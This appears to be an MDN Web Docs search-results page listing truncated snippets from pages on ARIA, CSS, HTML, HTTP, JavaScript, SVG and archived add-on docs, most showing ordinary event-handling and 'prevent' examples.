... if (navigator.xr) { navigator.xr.issessionsupported('immersive-vr') .then((issupported) => { if (issupported) { immersivebutton.addeventlistener('click', onbuttonclicked); immersivebutton.innerhtml = 'enter xr'; immersivebutton.disabled = false; } else { console.log("webxr doesn't support immersive-vr mode!"); } }); } else { console.log("webxr is not available!"); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('immersive-vr') .then((session) => { xrsessio...
ARIA live regions - Accessibility
anets_info) { planettitle.textcontent = planets_info[planet].title; planetdescription.textcontent = planets_info[planet].description; } else { planettitle.textcontent = 'no planet selected'; planetdescription.textcontent = 'select a planet to view its description'; } } const renderplanetinfobutton = document.queryselector('#renderplanetinfobutton'); renderplanetinfobutton.addeventlistener('click', event => { const planetsselect = document.queryselector('#planetsselect'); const selectedplanet = planetsselect.options[planetsselect.selectedindex].value; renderplanetinfo(selectedplanet); }); as the user selects a new planet, the information in the live region will be announced.
... a working example of a simple year control for better understanding: <div id="date-input"> <label>year: <input type="text" id="year" value="1990" onblur="change(event)"/> </label> </div> <div id="date-output" aria-live="polite"> the set year is: <span id="year-output">1990</span> </div> function change(event) { var yearout = document.getelementbyid("year-output"); switch (event.target.id) { case "year": yearout.innerhtml = event.target.value; break; default: return; } }; without aria-atomic="true" the screenreader an...
ARIA Screen Reader Implementors Guide - Accessibility
time takes second precedence: prioritize items with the same politeness level according to when the event occurs (earlier events come first).
...as a new event for an atomic region is added to the queue remove an earlier event for the same region.
Using the aria-invalid attribute - Accessibility
authors may prevent a form from being submitted.
... examples example 1: simple form validation the following snippet shows a simplified version of two form fields with a validation function attached to the blur event.
ARIA Test Cases - Accessibility
also, as a clever feature for at testing, the firing of events (like event_object_statechange) can be invoked from the examples.
... it should still be possible to the document/browse/virtual mode back on markup used: role="application" notes: results: at firefox ie opera safari jaws 9 fail fail n/a n/a jaws 10 pass with slight problems in the menu bar (wrong order of events or missing ones, sometimes making jaws believe it is still in a menu when the menu has actually closed) fail - - voiceover (leopard) n/a n/a - fail window-eyes fail fail - - nvda fail n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - ...
ARIA: timer role - Accessibility
set in response to keyboard or other application events that change focus or point of interaction.
... examples some prominent web timers include clocks, stop watches and countdowns, such as ticketing websites, e-commerce sites, and event countdowns (see https://countingdownto.com/).
Alerts - Accessibility
the moment this happens, firefox will fire an “alert” event to assistive technologies when this div appears.
... modifying the “onblur” event all that’s left now is add the event handler.
Accessibility: What users can do to browse more safely - Accessibility
taking advantage of personalization settings can help prevent exposure to content leading to seizures and / or other physical reactions.
... css transition events are now supported.
Accessibility and Spacial Patterns - Accessibility
which they published in the paper, characterizing the patterned images that precipitate seizures and optimizing guidelines to prevent them the steps necessary to evaluate material reduce to the following: look at the screen are there more than five stripes?
...n brailleblaster (4 of 5) government literature nasa: designing with blue math spatial reasoning: why math talk is about more than numbers scientific literature colour constancy in context: roles for local adaptation and levels of reference gamma oscillations and photosensitive epilepsy characterizing the patterned images that precipitate seizures and optimizing guidelines to prevent them arnold wilkins, john emmett, and graham harding contributers: heartfelt thanks to jim allan of the diagram center for his discussions on the topic of alternative means of education.
Mobile accessibility checklist - Accessibility
for touch events, at least one of the following must be true (wcag 2.1: pointer cancellation): the down-event should not be used to trigger any action the action is triggered on the up event and an option to abort the action before its completion is available or an option to undo the action after its completion the up-event will undo any action that was triggered on a down event it is essential to...
... trigger the action on the down event.
Web Accessibility: Understanding Colors and Luminance - Accessibility
understaning color, luminance, and saturation is important in meeting wcag 2 accessibility guidelines in terms of ensuring enough color contrast for sighted users with color blindness or reduced vision and preventing seizures and other physical reactions in people with vestibular disorders.
... the mdn document, ambient light events, describes an experimental technology worth watching; this technology would enable a web page to be aware of any change in the light intensity, and consquently, adjust the text accordingly.
Operable - Accessibility
exceptions to this are activities with time limits longer than 20 hours, real time events (e.g.
... understanding pointer gestures 2.5.2 pointer cancellation (a) added in 2.1 for functionality that can be operated using a single-pointer at least one of the following is true: no down-event, abort/undo, up reversal or essential.
-moz-image-rect - CSS: Cascading Style Sheets
these four segments are all contained within a larger <div> block whose primary purpose is to receive click events and dispatch them to our javascript code.
... the javascript code this code handles the click event when the container receives a mouse click.
:disabled - CSS: Cascading Style Sheets
WebCSS:disabled
it uses the javascript change event to let the user enable/disable the billing fields.
...ipping address:</label> <input type="checkbox" id="billing-checkbox" checked> <br> <input type="text" placeholder="name" disabled> <input type="text" placeholder="address" disabled> <input type="text" placeholder="zip code" disabled> </fieldset> </form> css input[type="text"]:disabled { background: #ccc; } javascript // wait for the page to finish loading document.addeventlistener('domcontentloaded', function () { // attach `change` event listener to checkbox document.getelementbyid('billing-checkbox').onchange = togglebilling; }, false); function togglebilling() { // select the billing text fields var billingitems = document.queryselectorall('#billing input[type="text"]'); // toggle the billing text fields for (var i = 0; i < billingitems.length; i++...
:nth-child() - CSS: Cascading Style Sheets
:nth-child(7) represents the seventh element.
... :nth-child(n+7) represents the seventh and all following elements: 7 [=0+7], 8 [=1+7], 9 [=2+7], etc.
Variable fonts guide - CSS: Cascading Style Sheets
also note the introduction of font-synthesis: none;—which will prevent browsers from accidentally applying the variation axis and a synthesized italic.
... this can be used to prevent faux-bolding as well.
Cubic Bezier Generator - CSS: Cascading Style Sheets
eight - rulers - margin, canvas.width - rulers - margin); canvas.onmousedown = mousedown; canvas.onmouseup = mouseup; } else { alert('you need safari or firefox 1.5+ to see this demo.'); } } function cx(x) { return x * scaling + rulers; } function reversex(x) { return (x - rulers) / scaling; } function lx(x) { //used when drawing vertical lines to prevent subpixel blur var result = cx(x); return math.round(result) == result ?
... result + 0.5 : result; } function cy(y) { return (1 - y) * scaling + margin; } function reversey(y) { return (margin - y) / scaling + 1; } function ly(y) { // used when drawing horizontal lines to prevent subpixel blur var result = cy(y); return math.round(result) == result ?
animation - CSS: Cascading Style Sheets
WebCSSanimation
; flex: none; } .overlay { padding: .5em; } @keyframes slidein { from { transform: scalex(0); } to { transform: scalex(1); } } .a1 { animation: 3s ease-in 1s 2 reverse both paused slidein; } .a2 { animation: 3s linear 1s slidein; } .a3 { animation: 3s slidein; } .animation { background: #3f87a6; width: 100%; height: calc(100% - 1.5em); transform-origin: left center; } window.addeventlistener('load', function () { var animation = array.from(document.queryselectorall('.animation')); var button = array.from(document.queryselectorall('button')); function togglebutton (btn, type) { btn.classlist.remove('play', 'pause', 'restart'); btn.classlist.add(type); btn.title = type.touppercase(type); } function playpause (i) { var btn = button[i]; var ani...
...'play' : 'pause'); anim.style.animationplaystate = ''; anim.classlist.add('a' + (i + 1)); }, 100) } } animation.foreach(function (node, index) { node.addeventlistener('animationstart', function () { togglebutton(button[index], 'pause'); }); node.addeventlistener('animationend', function () { togglebutton(button[index], 'restart'); }); }); button.foreach(function (btn, index) { btn.addeventlistener('click', function () { playpause(index); }); }); }) a description of which properties are animatable is available; it's worth noting t...
<custom-ident> - CSS: Cascading Style Sheets
it is case-sensitive, and certain values are forbidden in various contexts to prevent ambiguity.
... to prevent ambiguity, each property that uses <custom-ident> forbids the use of specific values: animation-name forbids the global css values (unset, initial, and inherit), as well as none.
overflow-wrap - CSS: Cascading Style Sheets
the overflow-wrap css property applies to inline elements, setting whether the browser should insert line breaks within an otherwise unbreakable string to prevent text from overflowing its line box.
... anywhere to prevent overflow, an otherwise unbreakable string of characters — like a long word or url — may be broken at any point if there are no otherwise-acceptable break points in the line.
overscroll-behavior-block - CSS: Cascading Style Sheets
none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is prevented.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples preventing block overscrolling in this demo we have two block-level boxes, one inside the other.
overscroll-behavior-inline - CSS: Cascading Style Sheets
none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is prevented.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples preventing inline overscrolling in this demo we have two block-level boxes, one inside the other.
overscroll-behavior-x - CSS: Cascading Style Sheets
none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is prevented.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples preventing an underlying element from scrolling horizontally in our simple overscroll-behavior-x example (see source code also), we have two block-level boxes, one inside the other.
overscroll-behavior-y - CSS: Cascading Style Sheets
none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is prevented.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples preventing an underlying element from scrolling vertically .messages { height: 220px; overflow: auto; overscroll-behavior-y: contain; } see overscroll-behavior for a full example and explanation.
place-content - CSS: Cascading Style Sheets
fe">safe</option> <option value="unsafe">unsafe</option> </select><code>;</code> var update = function () { document.getelementbyid("container").style.placecontent = document.getelementbyid("aligncontentalignment").value + " " + document.getelementbyid("justifycontentalignment").value; } var aligncontentalignment = document.getelementbyid("aligncontentalignment"); aligncontentalignment.addeventlistener("change", update); var justifycontentalignment = document.getelementbyid("justifycontentalignment"); justifycontentalignment.addeventlistener("change", update); var writingm = document.getelementbyid("writingmode"); writingm.addeventlistener("change", function (evt) { document.getelementbyid("container").style.writingmode = evt.target.value; }); var direction = document.getelementby...
...id("direction"); direction.addeventlistener("change", function (evt) { document.getelementbyid("container").style.direction = evt.target.value; }); css #container { display: flex; height:240px; width: 240px; flex-wrap: wrap; background-color: #8c8c8c; writing-mode: horizontal-tb; /* can be changed in the live sample */ direction: ltr; /* can be changed in the live sample */ place-content: flex-end center; /* can be changed in the live sample */ } div > div { border: 2px solid #8c8c8c; width: 50px; background-color: #a0c8ff; } .small { font-size: 12px; height: 40px; } .large { font-size: 14px; height: 50px; } result specifications specification status comment css box alignment module level 3the definition of 'place content...
right - CSS: Cascading Style Sheets
WebCSSright
when both left and right are defined, if not prevented from doing so by other properties, the element will stretch to satisfy both.
...tive { width: 100px; height: 100px; background-color: #ffc7e4; position: relative; top: 20px; left: 20px; } #absolute { width: 100px; height: 100px; background-color: #ffd7c2; position: absolute; bottom: 10px; right: 20px; } result declaring both left and right when both left and right are declared, the element will stretch to meet both, unless other constraints prevent it from doing so.
Guide to Web APIs - Developer guides
WebGuideAPI
web apis from a to z aambient light eventsbbackground tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong ta...
...sks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsuurl apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api ...
Using device orientation with 3D transforms - Developer guides
here's a simple code snippet to sum it up: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // remember to use vendor-prefixed transform property elem.style.transform = "rotatez(" + ( e.alpha - 180 ) + "deg) " + "rotatex(" + e.beta + "deg) " + "rotatey(" + ( -e.gamma ) + "deg)"; }); orientation compensation compensating the orientation of the device can be useful to create parallax effects or augmented reality.
... this is achieved by inverting the previous order of rotations and negating the alpha value: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // again, use vendor-prefixed transform property elem.style.transform = "rotatey(" + ( -e.gamma ) + "deg)" + "rotatex(" + e.beta + "deg) " + "rotatez(" + - ( e.alpha - 180 ) + "deg) "; }); rotate3d to orientation should you ever need to convert a rotate3d axis-angle to orientation euler angles, you can use the following algorithm: // convert a rotate3d axis-angle to deviceorientation angles function orient( aa ) { var x = aa.x, y = aa.y, z = aa.z, a = aa.a, c = math.cos( aa.a ), s = math.sin( aa.a ), t = 1 - c, // axis-angle to rotation matrix...
HTML5 Parser - Developer guides
WebGuideHTMLHTML5HTML5 Parser
some contexts from which you should not call document.write() include: scripts created using document.createelement() event handlers settimeout() setinterval() <script async src="..."> <script defer src="..."> if you use the same mechanism for loading script libraries for all browsers including ie, then your code probably will not be affected by this change.
... in an inline script, in order to use the literal strings <script, </script>, and <!--, you should prevent them from being parsed literally by expressing them as \u003cscript,\u003c/script>, and \u003c!--.
The HTML autocomplete attribute - HTML: Hypertext Markup Language
note: in most modern browsers, setting autocomplete to "off" will not prevent a password manager from asking the user if they would like to save username and password information, or from automatically filling in those values in a site's login form.
...this may be used by the browser both to avoid accidentally filling in an existing password and to offer assistance in creating a secure password (see also preventing autofilling with autocomplete="new-password").
<a>: The Anchor element - HTML: Hypertext Markup Language
WebHTMLElementa
as { background: #fff; border: 1px dashed; } a { display: inline-block; background: #69c; color: #fff; padding: 5px 10px; } javascript var canvas = document.queryselector('canvas'), c = canvas.getcontext('2d'); c.fillstyle = 'hotpink'; function draw(x, y) { if (isdrawing) { c.beginpath(); c.arc(x, y, 10, 0, math.pi*2); c.closepath(); c.fill(); } } canvas.addeventlistener('mousemove', event => draw(event.offsetx, event.offsety) ); canvas.addeventlistener('mousedown', () => isdrawing = true); canvas.addeventlistener('mouseup', () => isdrawing = false); document.queryselector('a').addeventlistener('click', event => event.target.href = canvas.todataurl() ); result security and privacy <a> elements can have consequences for users’ security and pri...
... onclick events anchor elements are often abused as fake buttons by setting their href to # or javascript:void(0) to prevent the page from refreshing, then listening for their click events .
<button>: The Button element - HTML: Hypertext Markup Language
WebHTMLElementbutton
disabled this boolean attribute prevents the user from interacting with the button: it cannot be pressed or focused.
...it can have client-side scripts listen to the element's events, which are triggered when the events occur.
<dialog>: The Dialog element - HTML: Hypertext Markup Language
WebHTMLElementdialog
/menu> <output aria-live="polite"></output> javascript var updatebutton = document.getelementbyid('updatedetails'); var favdialog = document.getelementbyid('favdialog'); var outputbox = document.queryselector('output'); var selectel = document.queryselector('select'); var confirmbtn = document.getelementbyid('confirmbtn'); // "update details" button opens the <dialog> modally updatebutton.addeventlistener('click', function onopen() { if (typeof favdialog.showmodal === "function") { favdialog.showmodal(); } else { alert("the <dialog> api is not supported by this browser"); } }); // "favorite animal" input sets the value of the submit button selectel.addeventlistener('change', function onselect(e) { confirmbtn.value = selectel.value; }); // "confirm" button of form triggers "...
...close" on dialog because of [method="dialog"] favdialog.addeventlistener('close', function onclose() { outputbox.value = favdialog.returnvalue + " button clicked - " + (new date()).tostring(); }); result specifications specification status comment html living standardthe definition of '<dialog>' in that specification.
<input type="reset"> - HTML: Hypertext Markup Language
WebHTMLElementinputreset
<input> elements of type "reset" are rendered as buttons, with a default click event handler that resets all of the inputs in the form to their initial values.
... value a domstring used as the button's label events click supported common attributes type and value idl attributes value methods none value an <input type="reset"> element's value attribute contains a domstring that is used as the button's label.
<input type="submit"> - HTML: Hypertext Markup Language
WebHTMLElementinputsubmit
when the click event occurs (typically because the user clicked the button), the user agent attempts to submit the form to the server.
... <input type="submit" value="send request"> value a domstring used as the button's label events click supported common attributes type and value idl attributes value methods none value an <input type="submit"> element's value attribute contains a domstring which is displayed as the button's label.
<input type="tel"> - HTML: Hypertext Markup Language
WebHTMLElementinputtel
value a domstring representing a telephone number, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, and size idl attributes list, selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), setselectionrange() value the <input> element's value attribute contains a domstring that either represents ...
...dity"></span> </span> <span class="number2div"> <input id="number2" name="number2" type="tel" required placeholder="second part" pattern="[0-9]{4}" aria-label="second part of number"> <span class="validity"></span> </span> </div> <div> <button>submit</button> </div> </form> the javascript is relatively simple — it contains an onchange event handler that, when the <select> value is changed, updates the <input> element's pattern, placeholder, and aria-label to suit the format of telephone numbers in that country/territory.
<script>: The Script element - HTML: Hypertext Markup Language
WebHTMLElementscript
scripts with the defer attribute will prevent the domcontentloaded event from firing until the script has loaded and finished evaluating.
...if the script is blocked, an error is sent to the element, if not a load event is sent.
<template>: The Content Template element - HTML: Hypertext Markup Language
WebHTMLElementtemplate
} the result is the original html table, with two new rows appended to it via javascript: table { background: #000; } table td { background: #fff; } avoiding documentfragment pitfall a documentfragment is not a valid target for various events, as such it is often preferable to clone or refer to the elements within it.
... consider the following html and javascript: html <div id="container"></div> <template id="template"> <div>click me</div> </template> javascript const container = document.getelementbyid("container"); const template = document.getelementbyid("template"); function clickhandler(event) { alert("clicked a div"); } const firstclone = template.content.clonenode(true); firstclone.addeventlistener("click", clickhandler); container.appendchild(firstclone); const secondclone = template.content.firstelementchild.clonenode(true); secondclone.addeventlistener("click", clickhandler); container.appendchild(secondclone); result firstclone is a documentfragment instance, so while it gets appended inside the container as expected, clicking on it does not trigger the click event.
itemtype - HTML: Hypertext Markup Language
for example, musicevent indicates a concert performance, with startdate and location properties specifying the concert's key details.
... in this case, musicevent would be the url used by itemtype, with startdate and location as itemprop's which musicevent defines.
tabindex - HTML: Hypertext Markup Language
a negative value is useful when you have off-screen content that appears on a specific event.
...this prevents assistive technology from being able to navigate to and manipulate those components.
Link types - HTML: Hypertext Markup Language
<a>, <area> <link>, <form> canonical from wikipedia, the free encyclopedia: canonical_link_element a canonical link element is an html element that helps webmasters prevent duplicate content issues by specifying the "canonical" or "preferred" version of a web page as part of search engine optimization.
... <a>, <area>, <form> <link> noreferrer prevents the browser, when navigating to another page, to send this page address, or any other value, as referrer via the referer: http header.
HTTP authentication - HTTP
from firefox 59 onwards, image resources loaded from different origins to the current document are no longer able to trigger http authentication dialogs (bug 1423146), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page.
...(apache is usually configured to prevent access to .ht* files).
Evolution of HTTP - HTTP
ssl was put on the standards track and eventually became tls, with versions 1.0, 1.1, 1.2, and 1.3 appearing successfully to close vulnerabilities.
... since 2005, the set of apis available to web pages greatly increased and several of these apis created extensions, mostly new specific http headers, to the http protocol for specific purposes: server-sent events, where the server can push occasional messages to the browser.
Cross-Origin Resource Sharing (CORS) - HTTP
WebHTTPCORS
t are those which the fetch spec defines as a “cors-safelisted request-header”, which are: accept accept-language content-language content-type (but note the additional requirements below) dpr downlink save-data viewport-width width the only allowed values for the content-type header are: application/x-www-form-urlencoded multipart/form-data text/plain no event listeners are registered on any xmlhttprequestupload object used in the request; these are accessed using the xmlhttprequest.upload property.
...therefore, sites that prevent cross-site request forgery have nothing new to fear from http access control.
Using Feature Policy - HTTP
you can use feature policies to specify the desired best practices, and rely on the browser to enforce the policies to prevent regressions.
...preventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features.
Content-Security-Policy-Report-Only - HTTP
script-sample the first 40 characters of the inline script, event handler, or style that caused the violation.
...this is done to prevent leaking sensitive information about cross-origin resources.
Cross-Origin-Resource-Policy - HTTP
note: due to a bug in chrome, setting cross-origin-resource-policy can break pdf rendering, preventing visitors from being able to read past the first page of some pdfs.
... due to a bug in firefox, setting cross-origin-resource-policy can prevent some resources (such as pdfs) from being downloaded in some circumstances.
ETag - HTTP
WebHTTPHeadersETag
additionally, etags help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions").
...this means weak etags prevent caching when byte range requests are used, but strong etags mean range requests can still be cached.
Strict-Transport-Security - HTTP
strict transport security resolves this problem; as long as you've accessed your bank's web site once using https, and the bank's web site uses strict transport security, your browser will know to automatically use only https, which prevents hackers from performing this sort of man-in-the-middle attack.
... whenever the strict-transport-security header is delivered to the browser, it will update the expiration time for that site, so sites can refresh this information and prevent the timeout from expiring.
500 Internal Server Error - HTTP
WebHTTPStatus500
the hypertext transfer protocol (http) 500 internal server error server error response code indicates that the server encountered an unexpected condition that prevented it from fulfilling the request.
...sometimes, server administrators log error responses like the 500 status code with more details about the request to prevent the error from happening again in the future.
Loops and iteration - JavaScript
>opera</option> </select> </p> <p><input id="btn" type="button" value="how many are selected?" /></p> </form> <script> function howmany(selectobject) { let numberselected = 0; for (let i = 0; i < selectobject.options.length; i++) { if (selectobject.options[i].selected) { numberselected++; } } return numberselected; } let btn = document.getelementbyid('btn'); btn.addeventlistener('click', function() { alert('number of options selected: ' + howmany(document.selectform.musictypes)); }); </script> do...while statement the do...while statement repeats until a specified condition evaluates to false.
...make sure the condition in a loop eventually becomes false—otherwise, the loop will never terminate!
Memory Management - JavaScript
a number var s = 'azerty'; // allocates memory for a string var o = { a: 1, b: null }; // allocates memory for an object and contained values // (like object) allocates memory for the array and // contained values var a = [1, null, 'abra']; function f(a) { return a + 2; } // allocates a function (which is a callable object) // function expressions also allocate an object someelement.addeventlistener('click', function() { someelement.style.backgroundcolor = 'blue'; }, false); allocation via function calls some function calls result in object allocation.
... v8 engine flags the max amount of available heap memory can be increased with a flag: node --max-old-space-size=6000 index.js we can also expose the garbage collector for debugging memory issues using a flag and the chrome debugger: node --expose-gc --inspect index.js see also ibm article on "memory leak patterns in javascript" (2007) kangax article on how to register event handler and avoid memory leaks (2010) performance ...
TypeError: can't access dead object - JavaScript
the javascript exception "can't access dead object" occurs when firefox disallows add-ons to keep strong references to dom objects after their parent document has been destroyed to improve in memory usage and to prevent memory leaks.
... to improve in memory usage and to prevent memory leaks, firefox disallows add-ons to keep strong references to dom objects after their parent document has been destroyed.
Functions - JavaScript
the function constructor note: using the function constructor to create functions is not recommended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems.
... note: using the generatorfunction constructor to create functions is not recommended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems.
Object.defineProperty() - JavaScript
object.defineproperty(obj, 'key', withvalue('static')); // if freeze is available, prevents adding or // removing the object prototype properties // (value, get, set, enumerable, writable, configurable) (object.freeze || object)(object.prototype); examples if you want to see how to use the object.defineproperty method with a binary-flags-like syntax, see additional examples.
...however, if a non-writable value property is inherited, it still prevents from modifying the property on the object.
Object.isExtensible() - JavaScript
an object can be marked as non-extensible using object.preventextensions(), object.seal(), or object.freeze().
...object.preventextensions(empty); object.isextensible(empty); // === false // sealed objects are by definition non-extensible.
Object.isSealed() - JavaScript
object.preventextensions(empty); object.issealed(empty); // === true // the same is not true of a non-empty object, // unless its properties are all non-configurable.
... var hasprop = { fee: 'fie foe fum' }; object.preventextensions(hasprop); object.issealed(hasprop); // === false // but make them all non-configurable // and the object becomes sealed.
Object - JavaScript
object.preventextensions() prevents any extensions of an object.
... object.seal() prevents other code from deleting properties of an object.
Comparing Reflect and Object methods - JavaScript
preventextensions() object.preventextensions() returns the object that is being made non-extensible.
... reflect.preventextensions() returns true if the object has been made non-extensible, and false if it has not.
Symbol - JavaScript
it creates a new symbol each time: symbol('foo') === symbol('foo') // false the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this prevents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number).
...this prevents you from silently creating a new string property name from a symbol, for example.
Optional chaining (?.) - JavaScript
this prevents the error that would occur if you simply accessed obj.first.second directly without testing obj.first.
...at this position as well: someinterface?.custommethod?.() dealing with optional callbacks or event handlers if you use callbacks or fetch methods from an object with a destructuring assignment, you may have non-existent values that you cannot call as functions unless you have tested their existence.
delete operator - JavaScript
the javascript delete operator removes a property from an object; if no more references to the same property are held, it is eventually released automatically.
...however, in the case of internet explorer, when one uses delete on a property, some confusing behavior results, preventing other browsers from using simple objects like object literals as ordered associative arrays.
JavaScript
javascript building blocks continues our coverage of javascript's key fundamental features, turning our attention to commonly-encountered types of code blocks such as conditional statements, loops, functions, and events.
... concurrency model and event loop javascript has a concurrency model based on an "event loop".
Critical rendering path - Web Performance
the greater the number of nodes, the longer the following events in the critical rendering path will take.
... to reduce the frequency and duration of layout events, batch updates and avoid animating box model properties.
Lazy loading - Web Performance
<img src="image.jpg" loading="lazy" alt="..." /> <iframe src="video-player.html" loading="lazy"></iframe> the load event fires when the eagerly-loaded content has all been loaded; at that time, it's entirely possible (or even likely) that there may be lazily-loaded images that are within the visual viewport that haven't yet loaded.
... event handlers when browser compatibility is crucial, there are a few options: polyfill intersection observer fallback to scroll, resize or orientation change event handlers to determine if a specific element is in viewport specifications specification status comment html living standard living standard ...
Performance budgets - Web Performance
a performance budget is a limit to prevent regressions.
... their primary goal is to prevent regressions, but they can provide insights to forecast trends (i.e.
Introduction to progressive web apps - Progressive web apps (PWAs)
discoverability the eventual aim is that web apps should have better representation in search engines, be easier to expose, catalog and rank, and have metadata usable by browsers to give them special capabilities.
... safety the web platform provides a secure delivery mechanism that prevents snooping while simultaneously ensuring that content hasn’t been tampered with, as long as you take advantage of https and develop your apps with security in mind.
SVG Presentation Attributes - SVG: Scalable Vector Graphics
on display dominant-baseline enable-background fill fill-opacity fill-rule filter flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-orientation-horizontal glyph-orientation-vertical image-rendering kerning letter-spacing lighting-color marker-end marker-mid marker-start mask opacity overflow pointer-events shape-rendering solid-color solid-opacity stop-color stop-opacity stroke stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering transform unicode-bidi vector-effect visibility word-spacing writing-mode attributes alignment-baseline it specifies how an object is aligned...
... value: visible|hidden|scroll|auto|inherit; animatable: yes pointer-events defines whether or when an element may be the target of a mouse event.
<clipPath> - SVG: Scalable Vector Graphics
WebSVGElementclipPath
by default, pointer-events are not dispatched on clipped regions.
... for example, a circle with a radius of 10 which is clipped to a circle with a radius of 5 will not receive "click" events outside the smaller radius.
<metadata> - SVG: Scalable Vector Graphics
WebSVGElementmetadata
usage context categoriesdescriptive elementpermitted contentany elements or character data attributes global attributes core attributes global event attributes specific attributes none dom interface this element implements the svgmetadataelement interface.
... candidate recommendation allowed global event attributes on the element.
<script> - SVG: Scalable Vector Graphics
WebSVGElementscript
while svg's script element is equivalent to the html <script> element, it has some discrepancies, like it uses the href attribute instead of src and it doesn't support ecmascript modules so far (see browser compatibility below for details) html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <script> // <![cdata[ window.addeventlistener('domcontentloaded', () => { function getcolor () { const r = math.round(math.random() * 255).tostring(16).padstart(2,'0') const g = math.round(math.random() * 255).tostring(16).padstart(2,'0') const b = math.round(math.random() * 255).tostring(16).padstart(2,'0') return `#${r}${g}${b}` } document.queryselector('circle').addeventlistener('click', (e) =>...
... value type: <url> ; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<script>' in that specification.
Securing your site - Web security
you can use this to prevent your site from being used improperly; in addition, you can use it to establish resources that other sites are expressly permitted to use.
...according to the open web application security project, xss was the seventh most common web app vulnerability in 2017.
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
the structure of an xml document is designed to reflect and clarify important relationships among the individual aspects of the content itself, unhindered by a need to provide any indication about how this data should eventually be presented.
... yet eventually much of the content stored in xml documents will need to be presented to human readers.
Caching compiled WebAssembly modules - WebAssembly
function opendatabase() { return new promise((resolve, reject) => { var request = indexeddb.open(dbname, dbversion); request.onerror = reject.bind(null, 'error opening wasm cache database'); request.onsuccess = () => { resolve(request.result) }; request.onupgradeneeded = event => { var db = request.result; if (db.objectstorenames.contains(storename)) { console.log(`clearing out version ${event.oldversion} wasm cache`); db.deleteobjectstore(storename); } console.log(`creating version ${event.newversion} wasm cache`); db.createobjectstore(storename) }; }); } looking up modules in the database o...
... function lookupindatabase(db) { return new promise((resolve, reject) => { var store = db.transaction([storename]).objectstore(storename); var request = store.get(url); request.onerror = reject.bind(null, `error getting wasm module ${url}`); request.onsuccess = event => { if (request.result) resolve(request.result); else reject(`module ${url} was not found in wasm cache`); } }); } storing and instantiating modules next, we define a function storeindatabase() that fires off an async operation to store a given wasm module in a given database.
onunload - XUL
this code is used by some programmers to annoyingly pop up alert boxes preventing the users from leaving the page.
... closing the window calls this eventhandler on the prefwindow.
2015 MDN Fellowship Program - Archive of obsolete content
the fellow will also share the results of their projects at 1-2 events agreed upon by the fellow and the program director, as well as on their personal channels (blog, social media, etc).
port - Archive of obsolete content
due to bug 816272 the page-mod's removelistener() function does not prevent the listener from receiving messages that are already queued.
Guides - Archive of obsolete content
sdk idioms working with events write event-driven code using the the sdk's event emitting framework.
/loader - Archive of obsolete content
console: { log: dump.bind(dump, "log: "), info: dump.bind(dump, "info: "), warn: dump.bind(dump, "warn: "), error: dump.bind(dump, "error: ") } }, modules: { // expose legacy api via pseudo modules that eventually may be // replaced with a real ones :) "devtools/gcli": cu.import("resource:///modules/gcli.jsm", {}), "net/utils": cu.import("resource:///modules/netutil.jsm", {}) } }); loader instances the loader produces instances that are nothing more than representations of the environment into which modules are loaded.
test/httpd - Archive of obsolete content
}) }); this starts a server in background (assuming you're running this code in an application that has an event loop, such as firefox).
window/utils - Archive of obsolete content
this means that its "load" event has been fired and all content is loaded, including the whole dom document, images, and any other sub-resources.
Add a Context Menu Item - Archive of obsolete content
so: the user clicks the item the content script's click event fires, and the content script retrieves the selected text and sends a message to the add-on the add-on's message event fires, and the add-on code's handler function is passed the selected text, which it logs more options adding an image you can add an image to a context menu item with the image option.
Overview - Archive of obsolete content
because we are recording potentially sensitive information, we want to prevent the user creating annotations when in private browsing mode.
Tutorials - Archive of obsolete content
creating event targets enable the objects you define to emit their own events.
